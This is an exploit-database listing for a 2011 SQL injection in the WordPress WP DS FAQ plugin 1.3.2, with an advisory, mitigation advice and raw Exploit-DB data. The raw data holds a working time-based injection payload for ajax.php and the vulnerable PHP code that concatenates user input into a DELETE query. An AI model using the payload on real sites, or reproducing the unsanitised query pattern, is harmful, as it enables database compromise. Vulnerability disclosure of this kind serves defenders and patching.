WordPress WP DS FAQ plugin - exploit.company

vendor:

WP DS FAQ plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: WP DS FAQ plugin

Affected Version From: 1.3.2002

Affected Version To: 1.3.2002

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wp_ds_faq

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in 'id' parameter of 'delete_faqbook' action in 'ajax.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database. This can be exploited to bypass certain security restrictions, read/modify data in the database, compromise the system, etc.

Mitigation:

Update to version 1.3.3 or later.

Source

Exploit-DB raw data:

# Exploit Title: WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-ds-faq.1.3.2.zip
# Version: 1.3.2 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/wp-ds-faq/ajax.php
 action=delete_faqbook&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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switch($_POST['action']) {

    ...

    case 'delete_faqbook':
        if(!isset($_POST['id'])){ error(); }
        $id = $_POST['id'];

        ...

        $sql = "DELETE FROM `".$table_name."` WHERE `id` = ".$id;
        $results = $wpdb->query( $sql );